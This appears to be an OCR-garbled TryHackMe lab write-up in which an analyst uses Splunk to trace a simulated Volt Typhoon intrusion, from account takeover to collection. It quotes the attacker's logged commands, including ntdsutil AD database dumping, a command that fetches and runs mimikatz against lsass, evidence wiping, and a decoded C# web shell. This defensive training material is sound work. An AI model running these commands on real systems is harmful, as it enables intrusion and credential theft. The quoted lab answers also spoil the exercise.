Volt Typhoon Lab

Scenario

In this lab, | assume the role of a Security Analyst responding to a suspected intrusion. TryHackMe states that

the intrusion is carried out by the notorious APT group, Volt Typhoon.

Throughout this lab, we will analyze logs through each phase of the kill chain from initial access to C2

communications.

Who is Volt Typhoon?

According to MITRE, Volt Typhoon is a China state-sponsored threat actor that has been active since 2021. Volt
Typhoon is known for targeting critical U.S infrastructure, and for their stealthy LotL techniques for evading

detections.

Initial Access

The log source defined in this lab is “ADSelfServicePlus” logs which are ingested in Splunk.

Account Compromise

1. Comb through the ADSelfService Plus logs to begin retracing the attacker’s steps. At what time (ISO 8601

format) was Dean’s password changed and their account taken over by the attacker?

With the information available to us, we can identify deans username through the username field listed under

“interesting fields”, presenting deans username as “dean-admin”.
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https://attack.mitre.org/groups/G1017/

New Search

| index="main" ADSelfServicePlus
2 | sort _time asc

| where action_name

“Password Change® | search username="dean-adnin®

2 events (before 12/13/25 4:04:20.000 AM)

Events(2)  Patterns  Statistics
Format Timeline > — Zoom Out

<Hide Fields Al Fields

SELECTED FIELDS
a host 1

a source 1

a sourcetype 1

INTERESTING FIELDS
a access_mode 1
4 action_name 1
# date_hour 2

# date_mday 2

# date_minute 2
a date_month 1
# date_second 2
4 date_wday 2

# date_year 1

a date_zone 1

a Index 1

4 Ip_address 2
# linecount 1

a punct 1

4 service_name 1
a splunk_server 1
a status 2

# timeendpos 1
a timestamp 2

# timestartpos 1
4 username 1

Visualization

Listv . Format

i Time

~ | 32424
11:10:22.000 AM

> 32924
145:02.000 PM

No Event Sampling ~

query for password changes on the "dean-admin" account

20 Per Page ~

Event

2024-03-24T11:10:22, ADSelfServicePlus, server-02, 192.168.1.134, dean-adwin, Password Change, completed, web_browser

Event Actions

Type ' Fleld
Selected || host ¥

&

saurce v

sourcetype ¥

Event access_mode v

<

action_name ¥

Ip_address ¥

service_name ~
status ~
timestamp *
username ¥

Time © me v

Default index ¥
linecount ~
punct

splunk_server

Value
volthunter
/omelvolthunter/ogfiles/adss.log
adss

web_browser

Password Change

1921681134

ADSelfServicePlus

completed

2024-03-24T11:10:22

dean-admin
2024-03-24T11:10:22:000+00:00

main

volthunter

Actions

2024-03-29T13:45:02, ADSelfServicePlus, server-02, 192.168.1.173, dean-admin, Password Change, failed, web_browser

he ithupter urce =

wrcetvoe = ads:

SaveAsv  Create TableView  Close
mN.Il
Job A & L ¥ SmatModer

1 hour per column

2. Shortly after Dean’s account was compromised, the attacker created a new administrator account. What is

the name of the new account that was created?

To find out the type of action an account creation would fall under, we can list the action_name events, which

lists “Enrollment”.

splunk

New Search

1 index="main" ADSelfServicePlus

+ 666 events (before 12/13/25 6:24:34.000 PM)

Events (666)  Patterns

Format Timeline ~ —Zoom Out

Statistics.

Visualization

No Event Sampling

SaveAsv  Create Table View  Close
el < |
Job. A & 4 ¥ SmatModer

1 day per column

< Hide Fields

SELECTED FIELDS
a host 1

a source
a sourcetype 1

INTERESTING FIELDS
a access_mode 1

a action_name 9

# date_nour 22

# date_mday 1

# date_minute 60
a date_month 1

# date_second 60
a date_wday 7

# date_year 1

a date_zone 1

a index 1

a ip_aadress 100

# linecount 1

a punct 4

a service_name 1
a splunk_server 1
a status 2

# timeendpos 1

action_name

9 Values, 100% of events

Reports
Top values

Events with this field

Values
Account Unlock
Password Reset

Profile Update

Top values by time

Multi-factor Authentication (MFA) Setup

Password Change

Security Question Setup

Password Policy Violation

EXTT

Account Update

> 33024
7:01:34.000 PM
> 3024

6:55:12.000 PM

selected | Yes | No

Rare values

Count »
335 59.309% -
65 9.76% |
64 9.61% I
3 6.456% |

3 5.856% |
30 4.504% |
2 3.754% |

4 0.601%

1 0.15%

6. juan-sales, Account Unlock, completed, web_browser
ireetype = adss

8.1.112, sophie-engineering, Account Unlock, completed, web_browser

lircetype = adss
8.1.108, westin-engineering, Password Reset, completed, web_browser
lircetype = adss

3, david-sales, Password Reset, completed, web_bromser

lircetype = adss

6, juan-sales, Password Change, completed, web_bromser

frcetype = adss

8, celin-sales, Account Unlock, completed, web_browser

lircetype = adss

8.1.121, nigel-engineering, Account Unlock, completed, web_brouser

lrcetype = adss

2024-03-30T19:01:34, ADSelfServicePlus, server-92, 192.168.1.132, june-exec, Profile Update, completed, web_browser

host = volthurtter

source = Mome/volthunter/ogfiles/adss.log

sourcetype = adss

2024-03-30T18:55:12, ADSelfServicePlus, engineering-01, 192.168.1.124, westin-engineering, Profile Update, failed, web_browser
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splunk

Search Analytics

New Search

1 index="main" ADSelfServicePlus

2 | where action_name== "Enrollment"
~ 4 events (before 12/13/25 6:26:39.000 PM) No Event Sampling =
Events (4) Patterns Statistics Visualization
Format Timeline » —Zoom Out
List » # Format 20 Per Page ¥
< Hide Flelds i= All Fields N Event
> 3/24/24 2024-03-24T11:12:26, ADSelfServicePlus, server-82, 192.168.1.134, voltyp-admin, Enrollment, completed, web_browser

SELECTED FIELDS

11:12:26.000 AM host = volthunter source = fhome/volthunter/logfiles/adss.log sourcetype = adss

a host 1
a source 1 b3 3/24/24 2024-03-24T@9:08:32, ADSelfServicePlus, sales-@1, 132.168.1.112, claire-exec, Enrollment, completed, web_browser
a sourcetype 1
v 9:08:32.000 AM ot = voithunter | source = /home/volthunterflogfiles/adss.log | sourcetype = adss
INTERESTING FIELDS > 324124 2024-03-24T09:04:59, ADSelfServicePlus, engineering-81, 192.168.1.121, sophie-engineering, Enrollment, completed, web_browser
 access_mode 9:04:59.000 AM host = volthunter source = /home/volthunterflogfiles/adss.log sourcetype = adss
a action_name 1
# date_hour 3 > 3/23/24 2024-83-23T@8:37:52, ADSelfServicePlus, engineering-81, 192.168.1.151, bill-exec, Enrcllment, completed, web_browser
# date_mday 2 123752000 AM  nqgt = volthunter - source = /home/volthunteriogfiles/adss.log | sourcetype = adss

# date_minute 4

Persistence

Querying on this produces 4 results, and cross-referencing with the timestamp of the dean-admin account
takeover, we can find that a new admin account was created as voltyp-admin. As dean’s inital account that was
comprimised had Administrator rights, Volt Typhoon created their new admin account to further achieve

persistence and elevate privileges.

Execution

As noted before, Volt Typhoon is known for their Windows Managmenent Instrumentation Command-Line
(WMIC) for a range of execution techniques, ranging from information gathering to dumping databases. Through

these LotL techniques, it makes detection more challenging.

3. In an information gathering attempt, what command does the attacker run to find information about local

drives on server01 & server02?

At this point, we have confirmed that the two user accounts dean-admin and voltyp-admin are compromised.
Knowing this, we can query for a wildcard text search on server02 to gain more information on the WMIC

command being run.
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splunk

New Search SaveAs~  CreateTableView  Close

2 | where username == “dean-admin" username == "voltyp-admin"

31 sort _time asc

wmic information gathering on server01 and server02 drives

~ 1event (before 12/13/25 7:52:44000 PM)  No Event Sampling ~ Job A & 1 % SmanMode~
Events()  Patterns  Statistics  Visualization
Eormat Timelne « I 1 millisecond per column

Listv  # Format 20 Per Page ~

< Hide Fields = AIFelos 4 Time Event
b seecren DS > as24 2024-03-25721:30:03 | dean-admin | server-02-main | 192.168.1.153 f{wmic /node:serverdi, server02 logicaldisk get caption, filesystem, freespace, size, volunename | executed | success | |
ahost 1 930:03.000PM  poct= vortnunter  source = llag  sourcetype = wmic
a source
4 sourcetype 1

OS Credential Dumping: NTDS

wmic /node:server0l, server02 logicaldisk get caption, filesystem, freespace, size, volumenam
e

By performing a query on ntdsutil, an Active Directory tool, we can identify another suspicious wmic command
creating a temp directory, and writing a copy of the Active Directory database to the tmp directory under the

fillename temp.dit.

Data Exfiltration

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp
& ntdsutil.exe \"ac i ntds\" \"ifm create full C:\Windows\Temp\tmp\temp.dit"" | executed | su

ccess |

Breaking this command down, wmic process call create cmd.exe /c mkdir C:\Windows\Temp\tmp creates a

new directory in the Temp folder.

Followed by ntdsutil.exe:

e ac i ntds: actives NTDS (Active Directory database) instance
e ifm create full

: attempts to create a full copy of the Active Directory database (NTDS.dit)
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e contains user account information, password hashes (NT), group security policies and memberships

4. The attacker uses ntdsutil to create a copy of the AD database. After moving the file to a web server, the

attacker compresses the database. What password does the attacker set on the archive?

Previously, the Active Directory copy was named temp.dit, knowing this we can further track this file by querying

on the AD database copy.

1 index="main” tewp.dit

+ 3 events (before 12/13/25 8:32:03.000 PM)

Events(3)  Patterns  Statistics
Format Timeline ~ ~ Zoom Qut
< Hide Fields = All Fields

SELECTED FIELDS

ahost 1

a source 1
a sourcetype 1

INTERESTING FIELDS
@ action 1

a command 3

# date_hour 2

i date_mday 1

# date_minute 3
a date_month 1

Visualization

Listv . Format

i Time
> 325024

11:47:07.000 PM

> 325124
10:45:27.000 PM

> 325724
10:44:31.000 PM

No Event Sampling

AMW,I'

Job » » @& L % SmartMode~

1 minute per column

20 Per Page *

Event

2024-03-25T23:47:07 | dean-admin | server-02-main | 192.168.1.153 | wmic /node:webserver-01 process call create “omd.exe /c 7z 3 -v10@m -p dSag@nm@5t3r -t7z cisco-up.7z C:\inetpub\wwaroot\temp.dit™ | execu
ted | success | . . .
compressing & renaming Active Directory db copy & setting password protection likely to evade content scanning

host = volthunter

2024-03-25722:45:27 | dean-admin | server-02-main | 192.168.1.153 | wmic /node:webserver-01 process call create “cnd.exe /c xcopy C:\Windows\Temp\tmp\temp.dit \\webserver-&1\c$\inetpub\wwuroot” | executed

| success | " »
staging data exfil via webserver

2024-03-25722:44:31 | dean-admin | server-02-main | 192.168.1.153 | wmic process call create "cnd.exe /¢ mkdir C:\Windows\Temp\tmp & ntdsutil.exe \"ac i
t™" | executed | success |

host = volthunter | souree = /nome/volthunter/iogfileswmicupdated02211og

ntds\" \"ifn create full C:\Windows\Temp\tmp\temp.di

initial temp directory creation & writing Active Directory db copy “temp.dit"

host = velthunter | source = / 0221log

By following the temp.dit file, we can identify 3 events.

We can see that after the Active Directory database copy was taken, it copied over to the wwwroot directory on

webserver-01, prepping the database copy for data exfiltration through the following command:

wmic /node:webserver-01 process call create “cmd.exe /c xcopy C:\Windows\Temp\tmp\temp.dit \\

webserver-01\c$\inetpub\wwwroot”

Followed by obfuscating the file name to blend in with legitimate network files, and password-protecting the zip

contents to likely avoid the content from being scanned, and splits it into 100mb volumes to avoid file size

detection.

wmic /node:webserver-01 process call create “cmd.exe /c 7z a -v100m -p d5ag@nm@5t3r -t7z cisc

0-up.7z C:\inetpub\wwwroot\temp.dit”
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Persistence

5. To establish persistence on the compromised server, the attacker created a web shell using base64

encoded text. In which directory was the web shell placed?

index="main" C:\\Windows\\Temp\\
| sort _time asc

Web Shell Creation

As the attacker has had presence in the C:\Windows\Temp folder, this was the first place | checked, utilizing the

query above. Sure enough, we can identify PowerShell pipeline execution with b64 encoded text.

> 328024 3/28/2024 21:14:57 PM Powershell ~ 808  Pipeline Execution Details  "Pipeline execution details for command line: echo PCVAIFBhZ2UgTGFuZ3VhZ2USTKM]IiBEZNT1Z201dHI1ZSIgVHINY2UIInZhbHNIT1AlPE08TU
9114:57000PM  AgSH1wb3 oIl JZT0iU312dGV LI 1iA1PE08JUAZSH1wb3 JOTEShbHVZCGF JZT01U312dGVtLK1PTiAlPZ0S: 1¥Wd1PSI Ty Igen InNlenzlci T+CnZvaQgUGFnZy Mb2FkKGI ] amV JACBZZWSK ZXTSTEV2ZHS0QKT
ncyB1KQp7Cn@Ke 3RyaWSnIEV4AY 3VOZUNt ZChzdH IpbmegYX InKQp7C1Byb2N1c 3NTAGF ydE 1uZm8gcHNpIDOgbmV 31 FByb2N1c INTAGF ydE 1uZm8oK T sKeHNpLkZpbGVOYW1 11D0g ImNt ZC51eGUiOwpwe 2kuQX IndW1 1bnRzIDOET i9 3 ICI rYXInOwpwe 2kuUmvkaX J1V3RT
dGFUZGFyZES1dHB1dCAITHRYdUTCnBZaS5Ye2VTaGV SHEVAZWN1dGUEPSBMYWx2Z TSKUH VY 2VzeyBwI DOEUHIVY 2V ey STAGFydChwe 2kpOwpTdH 1 YW1 SZWFKZXT ge 3R temRy ID0gcCSTAGFUZGF yZE 91 dHB 1 dDsK e 3RyaWSnTHMEPSB2dG1 yZHIUUNVhZFRVRHSKKCKTC
nNebX Tkei5DbG32ZSgpOwpyZXR1cmagezsk FQp2b21 KIGNEZEVAZVIDbG jayhvYmpl Y3Qgc2VuZGVyL CBTeXNOZWOURKZ LbnRBemdz 1 GUpCnsKUNVZeGIuc2UuV 3TpdGUoT jxwemU=11k7C1 T1e 3BvbnN1L1dyaXRKFNL enZ1ei 5TdG1 SRWS jb2RIKEVAY 3VRZUNLZChoeH
RBCmcuVGY4dCkpKT sKUmYzeG3uc2UuV3TpdGUol jwveH1P 1 IpOWpSC juve2NyaXBoPgo8SFRNTDAKPERFQUQ+C x8aXRsZTShd2VuIGF ZeC5uZXQgd2Vi c2h1bGwBL 3RpdGx1PgoBLANFQUQ+C x1b2RSIDAKPGZvCmOEalQIIINEZC T gbVOaGIkPS Jub3NGT 1BydWShdDO
ic2VydnVyT j4KPGF 2cDPUZXhOQmI4IG1kPS JeeHRBCme] THNGEWx1PS JaLULOREVYO1 AXMDE 7 [EXFRIQBIDQuNXE40yBQT INJVELPT jogYWJzb2x1dGU7IFRPUDogMH jBweCTgenVuYXQ9TnNLenZ lci 1gV21kdGg ST 1 1MHBAT j48L2F 2cDPUZXhOQmI4PgoBYXNWOK I 1 dHRY
biBpZDRidGVzdGluZylge3R5bGUII 1ot SUSERVEEIDEWM jsgTEVGVDogNjc 1 cHg 7IFBPURLUSL i TsgVESIQOiAXOHBAL1 1c2VydmVy I iBUZXhOPSJ1eGN1dGUI IESuQ2xpY2s9ImNtZEV4ZVIDLGL jay I+PCOhe 3ABQNVOdGIUPEa8YXNWOKXhY
mVsIGLIKPSISYmXUZXhOl iBzdH1sZTiWi 1 JTKRFWDOEHT AZOYBMRUZUOI AZMTBWeDsgUESTSVR ITO461GF 1 c29sdXR10yBUT1A6 IDIycHgi IHI 1bmF OPSTZZX J2ZX 11 PkNvbW1 homQEPCOhC3ABTGF i ZWw+C juvZmybT 4KPCIib2RSPg0SLONUTUN+ > C:\Windows\Temp

\ntuser.ini

. 14 lines omitted ...

Scripthame=

CommandLine=echo PCVAIFBhZ2UgTGFUZ3VhZ2UITKMII iBEZWI1Z201dHI1ZSIgVHIhY2U9IMZhbHNLT { ALPg08 JUAESH 1wh3 JOIEShbWY ZCGF JZTR1U31 2dGVELKRDYWAUD3NOSWNZI1ALPE0B IUAZSWI Wb3JOTEShBHVZCGF 12T01U212dGVELKIPTiAIPEO8CINY
aXBOIExhbmd1YWd1PSTI Iy IgenVuYXQIInNLenz]ed 1+CnZvawQgUGF NZVSMb2F KKGI1 amV JdCBZ ZWSKZX IS IEV2ZWS0QXInCyBLKQPTCoKe 3Ry WS LEVAY VAZUNE ZChzdH JpbmegYX JnKQp7C1Byb2NLc3NTAGF ydE 1 uZm8gcHNpLDOgbmY 3L FByb2NL € NTAGFydE 1uZ
mBOKTSKeHNDLKZDbGVOYW1 1IDBE INNtZC5]eGUiOwpuc2kuQXIndW1 1bnRZIDOgT 93 ICIrYXInOwpwe 2kuUmVkaX I 1Y 3RTAGFUZGFYZES 1 dHB1dCAITHRYdWUTCNBZaS5VC2VT 26V SbEVAZHNT dGUEPSBMYWXZZT SKUHJVY2VzZeyBWIDOgUHJIVY2VzCy STAGFydChwc 2kpOw
PTAHI1YW1 SZWFKZXIEC3RtemRy I00gCC5TAGFUZGFYZES1dHB1 dG1yZHIUUmVh: KTCANBbX Jkc 1 50bGIZZSgpOWDY ZXR 1 cmagczsKfQp2b21KIGNE ZEVAZVIDbG JayhvYmp1Y 3gC2VUZGYyLCBTeXNOZWOURX Z1bnRBemdz IGUpCns
KUmVZeGIuc2UuV3IpdGUol jxwemUs 11kTC1 T1e38vbnN1L 1dyaXR1KFNLenZ1ci STdG1 SRS jb2R1KEVAYVAZUNE ZC| GVAdCKPKT: 20uV3IpdGUoT jwvcHI1P1 IpOWDSC jwve 2NyaXBPgoBSFRNTDAKPERFQUQTC jxaXRSZTShd2VUTGF zeC5u
2XQgd2Vic2h1bGuaL 3RpdGx1PgoBLORFQUQ+C X ib2RSIDAKPGZvemOgaNQS [Nt ZCT gbuVOaGIkPS TwbaNDT iBydWShdDO1 c2VydnVy1  4KPGF2eDPUZXhOQNI4IG] kPST0eHRBCC § IHNOEW:x LPS TaL ULOREVYO1 AxMDE T IEXFRLQBIDQWNXBAOYBQT INJVELPT jogVHIzh
2x1dGUTIFRPUDOgM jBweCTgenVuYXQIInNLenZ e 1gV21kd6g91 I 1HHBAT j48L 2F 2eDpUZXhAQnI4PEoBYXNkOK 11 dHRvb i BpZDA1 dGVzdGLuZy Ige 3R5bGUST Lot SUSERVE 6 IDEWM j sgTEVGYDOEN 1 cHg TIFBPUBLUSUS001BhY nhvDHYOZT SgVESQO1 AxOHBAT iBydW
5hdDe1 e2VydnVy1iBUZXh@PST1eGN1 dGU1 TESUQ2xpY 25 InNt ZEVAZVIDBGL jay1+PCIhc3A6QnVOdGIUPEOYXNNOKXhYMVSTG1KPS TSYmxUZXhOT 1B2dHL SZT01Wi 1 TTKRFWDOEMTAZOYBMRUZUO1 AZMTBeDSgUESTSVRITO46 1GF 1 c295dXR10yBUT 1 ABIDTycHgd THT
1bMFOPSIZZXI2ZX11PKNYDW1hbmQEPCIhC3A6TGF 1 ZWw+C JWVZmIybT4KPCS 1b2R5PEOBLONUTUW* > C:\Windows\Temp\ntuser. ini

Show all 19 lines

host = volthunter | source = /home/volthunter/logfiles/pshell sourcetype = powershell

To decode this text, | utilized CyberChef. Decoding the base64 shows a C# script to create a webshell on the file

ntuser.ini.
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https://gchq.github.io/CyberChef/

Recipe ~dmi Input + 0O nm =

PCVAIFBhZ2UgTGFUZ3vhZ2U9IkMjIiBEZWI1Z201dHI1ZSIgVHIY2UImZhbHNIIIA1Pgo8IUAGSWIWb3IBIEShbVZ CGFjZT@1U31zdGVE LkRpYidub3NOakN
zIiAlPgo8IUAgSWIWb3I@IEShbIVZCGFjZTeiU31zdGvtLK1PIIALPgo8C2NyaXBOIEXhbmd1YWA1PSI FIyIgcnVuYXQOInilenZleiI+CnZyvaQgUGFnZVaMb2
bt FkKGO1amVjdCBzZWSkZXISIEV2ZNS8QXIncyBlKQp7CneKe 3Ryak5n IEVAY 3VOZUNEZChzdHI pbme gYXInKQp7C 1Byb2N1c 3NTAGFydE LuZmSg cHNpIDAghbmy3T
A-Za-z0-9+/= M Remove non-alphabet chars FByb2N1c3NTAGFydE1uZmBoKTsKCHNpLKZpbGVOYW11ID@g ImNtZCS51eGUI0wpwc2kuQXIndwWllbnRzID@gIioj ICIrYXInOwpwc 2kuUmvkaXI1Y3RTAGFUZGFy
ZE91dHB1dCASTHRYdWU7CnBZzaS5V e 2VT aGVsbEVAZWN1dGUgPSBMYWxzZTsKUHIvY2VzcyBwID@gUHIVY2Vzcy5TdGFydChuc 2kpOwpTdHI1VW1SZWFkZXTge 3R
tcmRyIDBgCC5TdGFUZGFYZE91dHB1dDsKC 3RyaWSnTHMEPSBZdG1yZHTUUmMVhZ FRVRHSKKCK7CnlBbXJkc15DbGOzZ5gp0wpyZXR1cmagczsKFQp2b21kIGNEZE
D Strict mode V47VoDbG1jayhvYmplY3Qgc2VuZGVy L CBTeXNOZWBURXZ1bnRBemdz IGUpCnsKUmMVzcGuc2UuV31pdGUoT jxwcmU+T1k7C131c3BvbnNlL1dyaXR1KFN1cnZ1c
15TdG1sRWSjb2R1KEVAY3VAZUNtZCh@eHRBCcmcuVGVAdCkpKT sKUmVz cGOuc2UuV3IpdGUol jwycHI1PiTIpOwpSCiwvc 2NyaXB8Pgo8SFRNTDAKPERFQUO+Cjx8
aXRsZT5hd2VuIGFzcC5uZX0gd2Vic2hl bGw8L3RpdGx1Pgo8LehFQUQ+Cix1b2R5IDAKPGZVcmegalQo ImNt ZCIghliVeaGokPSIwb3NOTiBydWShdD@ic2Vydmy
yIj4KPGFzcDpUZXheQma4IG1kPSI8eHRBcmc i IHNG@elx1PSJalUIOREVYO1AXMDE7TEXFR1IQ6IDQWNXBA0YBQTINIVELPT jog Y] zb2x1dGU7 IFRPUD0gMjBweC
TgenVuYXQ9TnN1cnz1ciTgv21kdGgo T T1IMHBAT 481 2F2cDpUZXhBQMO4Pgo8YXNwOkI1dHRvbiBpZD@1d6VzdG1uZy Tgc 3R5HGUST Lot SUSERVEEIDEWM sgT
EVGVDogN]c1cHg7TFBPUBLUSUI001 BhY nivbHVEZ TsgVESQO1AxOHBATiBydWShdD81c2vydmvyTiBUZXh8PSI1eGN1dGUi TE9UQ2xpY2sOImNtZEVAZVIDbG1]
ayT+PCohc3A6QnNVRdGIUPZOBYXNWOkxhYmVs IG1kPSIsYmxUZXheTiBzdH1 sZT@iwi1 I TkRFWDOgMTAZOYBMRUZUCIAZMTBWEDs gUESTSVRITB46IGFic295dXR
10yBUT1A61IDIycHgiIHI1bmFBPSIZZX12ZXT1PkNvbl1hbmQ6PCIhc3AGTGFLZkw+CijwvZmIybT4KPCOih2R5PE08 LBhLITUm{

From Base64 ~Qn

e 1696 = 1 Tr Raw Bytes &= LF

Output A0 m:

<%@ Page Language="C#" " Trace="false" >
<%a Import Namespace .Diagnostics™ %>
<%@ Import Namespace

<script Language="c#" runat="server”> )
void Page_Load(object sender, Eventhrgs e) webshell creation
«

¥

string ExcuteCmd(string arg)

{

ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = “"cmd.exe";

psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseshellExecute = false;

Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();

v stmrdr.Close();
BAKE ] E
SIER Auto Bake ~return s;
mc 1272 = 39 (® s Tr Raw Bytes & LF

Defense Evasion

5. In an attempt to begin covering their tracks, the attackers remove evidence of the compromise. They first
start by wiping RDP records. What PowerShell cmdlet does the attacker use to remove the “Most Recently

Used” record?

Doing some research, the Remove-ItemProperty is commonly used to remove “Most Recently Used” records in

the registry, thus returning 3 events for removing registry keys.
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CommandLine=Remove-ItenProperty ~Path SregistryPath -Nane MRUO -ErrorAction SilentlyContinue

ion SilentlyContinue

6. The APT continues to cover their tracks by renaming and changing the extension of the previously created

archive. What is the file name (with extension) created by the attackers?

The previous archive, which was a .7z file, stored the Active Directory database data, querying on this file, the

APT renamed the file to c164.gif from cisco-up.7z.

wmic /node:webserver-01 process call create "cmd.exe /c ren \\webserver-01\c$\inetpub\wwwroot
\cisco-up.7z clé4.gif"

Information Gathering

7. Under what regedit path does the attacker check for evidence of a virtualized environment?

Knowing that a virtualized environment registry key would fall under the HKLM hive, | queried for HKLM registry
keys and was able to discover a powershell command execution to gather information regarding the systems
virtualization.

Get-ItemProperty -Path "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" | Select-Object
-Property *Virtualsx
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New Search SaveAsv  CreateTableView  Close
1 index="main® HKEY_LOCAL P n
2 | sort _time asc

3 events (before 12/14/25 2:21:51000 AM)  No Event Sampling = Job v A & 4 ¥ SmartMode~

Events (3) Patterns Statistics  Visualization

Format Timeline ~ — Zoom Out 1hour per column

Usts  ~Format 50 PerPage~

< Hide Fields i= All Fields i Time Event

b 3/26/24 03/26/2024 21:15:18 PM  PowerShell 808 Pipeline Execution Details “Pipeline execution details for command line: Get-ItemProperty =-Path "HKEY_LOCAL_MACHINE\SYSTEM\Current
91518000PM  ControlSet\Control® | Select-Object -Property #Virtuals

SELECTED FIELDS
a host 1
a source 1

... 14 lines omitted ...
a sourcetype 1

Seripthame=

- CommandLine=Get-ItemProperty -Path "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Centrol® | Select-Object -Property *Virtualx

a CommandLine 3
# date_hour 2

# date_mday 2 Event Actions *
# date_minute 3
a date_month 1
# date_second 3
a date_wday 2

Show all 19 lines

Type ¥ Field Value Actions

Selected ¥ hostv volthunter -

# date_year 1 « source ¥ /homelvolthunter/logfiles/pshelllog v
O ELEAED ] v sourcetype ¥ powershell ~
# DetailSequence 1

P Event CommandLine » Get-ltemProperty -Path "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control”
a EngineVersion 1 DetailSequence 1 -
4 HostApglication 2 p——— " .
a Hostid 1

T EngineVersion = 5117763592 v
a HostVersion 1 - C: 0 exe v
b=z Hostld » kéfke10d-42ad-4d52-a234-946491ee00f7 v
# linecount 1

# Pipelineld 1 HostName + ConsoleHost v

Credential Access

8. Using reg query, Volt Typhoon hunts for opportunities to find useful credentials. What three pieces of

software do they investigate?

Knowing that they used reg query, to further gather information about the software installed on the system, we

can query on reg query to identify any command execution containing reg query.

Doing so, returns 8 events, where the APT identifies OpenSSH, RealVNC, PuTTY, and also the current Windows

version.

9. What is the full decoded command the attacker uses to download and run mimikatz?

Earlier to download the webshell, the APT used base64 encoding in the powershell execution, so knowing that

information, | can run a base64 encoding on the word “Mimikatz” and use that as a wildcard search in Splunk.

Mimikatz —base64—-> bWItaWthdHo=

As this can differ slightly depending on surroudning characters, | will use “bWItaW” in my wildcard query.
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Suprisingly, this returned 1 event.

splunk

Dashboards

New Search SaveAsv  Create Table View  Close
| index="main" *bWltaws| All time = n
2 | sort _time asc

1 event (before 12/14/25 2:50:18.000 AM)  No Event Sampling ~ Jobw 2 & 4 % SmatMode~

Events (1) Patterns. Statistics Visualization

Format Timeline + — Zoom Out i Se cond percolim
List» .~ Format 50 Per Page ¥
< Hide Fields = All Fields i | Time Event
SEECTED HELDE > 312624 03/26/2024 21:53:41 P PowerShell 800 Pipeline Execution Details "Pipeline execution details for command line: -exec bypass -W hidden -nop -E SW52b2t1LVd1Y1Jlcxvic3QgLy
e :53:41.000 PM  VyaSAiaHROCDoVL3ZVbHRSCCS § TiAtT ¥3JebWl I v FYXRELMVAZSIELUFYZ3VEZWS0TGLzd
a hos
CBAKCTZZWE Icmazy VdhaxQ=
a source 1

a sourcetype 1
e 14 lines omitted ...

INTERESTING FIELDS ScriptName=

s Conmaialing 1 CommandLine=—exec bypass - hidden -nop -E SW52b2t1LVA1¥171cKV1c3QsL HROCDOVLIZVBHRSCCS 11AtT3VERNL JIcomL I
UHIv! MBXFR1DXBCZGIYXG VXRELmV4ZSTgLUF y23VtZWSOTGL zdCBAKC T ZZWE 1 cmxzY' i VdhaxQ=
# date_hour 1 .
# dat di 1
sl Show all 19 lines
# date_minute 1
a date_manth 1 host = volthunter ~ source = log

Decoding the b64 encoded command:

Invoke-WebRequest -Uri "http://[redacted]/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe";
Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentlList @("sekurlsa::minidump lsass.

dmp", "exit") -NoNewWindow -Wait

Discovery & Lateral Movement

10. The attacker uses wevtutil, a log retrieval tool, to enumerate Windows logs. What event IDs does the

attacker search for?

Querying on the key word “wevtutil”, returns 12 events, combing through the command execution line, the
attacker is looking at event IDs 4624 4625 4769.

11. Moving laterally to server-02, the attacker copies over the original web shell. What is the name of the new

web shell that was created?

The original web shell was named ntuser.ini, so querying on this file name, reveals an event where the certutil

tool is used to decode the original base64 encoded file, and naming it iisstart.aspx, however when moving

10/14



laterally to server-02, the file name is changed.

certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisstart.aspx"

~ 32824 PowerShell 808

9:19:23.000 PM

3/28/2024 21:19:23 PH
art.aspx

Pipeline Execution Details  "Pipeline execution details for command line: certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iiss

New Search

1 index="main® iisstart.aspx

|2 | sort _time asc

+ 2 events (before 12/14/25 3:10:27.000 AM)

Events(?)  Pattemns

Format Timeline =

< Hide Fields

SELECTED FIELDS
a host 1

a source 1

4 sourcetype 1

INTERESTING FIELDS
a CommandLine 2
# date_hour 2

# date_mday 2

# date_minute 2

a date_month 1

# date_second 2
a date_wday 2

# date_year 1

a date_zone 1

# DetailSequence 1
# DetailTotal 1

4 EngineVersion 1
a HostApplication 1

Statistics.

—Zoom Out

= All Fields

Context Info:
DetailSequence=1
DetailTotal=1

SequenceNumber=99

UserTd=CTRL-ACC\dean-admin

HostName=ConsoleHost

iostVersion=5.1.17763.592
ddd52-2234-906491 €00 7

OISR  original file name “ntuser.

HostApplication=C:\W

Visul B iRt decoded to “iistart.aspx” -> renamed
aiessLasT to AuditReport.jspx on server02
Pipelineld=39 P! -JSP)
ScriptName=
CommandLine=certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisstart.aspx
Lists .~ Format 50 Per Page v
i Time Event
> 312824 3/28/2024 21:19:23 PM  PowerShell 808  Pipeline Execution Details "Pipeline execution details command line: certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisst
9:19:23.000 PM  art.aspx
. 14 lines omitted ...
ScriptName=
CommandLine=certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisstart.aspx
Show all 19 lines.
host= volthunter  source = log pe = powershell
> 3/29/24 ©83/29/2024 19:47:43 PM PowerShell 808 Pipeline Execution Details "Pipeline execution detail r command line: Copy-Item -Path "C:\Windows\Temp\iisstart.aspx" -Destinat

7:47:43.000 PM

ion "\\server-02\C$\inetpub\wwwroot\AuditReport. jspx
. 14 lines omitted ...
Seriptiame=

ConmandLine=Copy-Item -Path C:\Windows\Temp\iisstart.aspx” -Destination "\\server-82\CS\inetpub\wwwroot\AuditReport. jspx

Show all 19 lines.

host= volthunter  source = = powershell

As the attacker moves laterally to server-02, the file name of the webshell changes to AuditReport.jspx.

Collection

12. The attacker is able to locate some valuable financial information during the collection phase. What three

files does Volt Typhoon make copies of using PowerShell?

At some point, | recall seeing a log related to finance data, however | cant remember which query this was under.

So, I'll try a wildcard search on finance.
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New Search

SaveAs~  Create Table View  Close

1 index="main® *financex

2 | sort _time asc

Atume » n

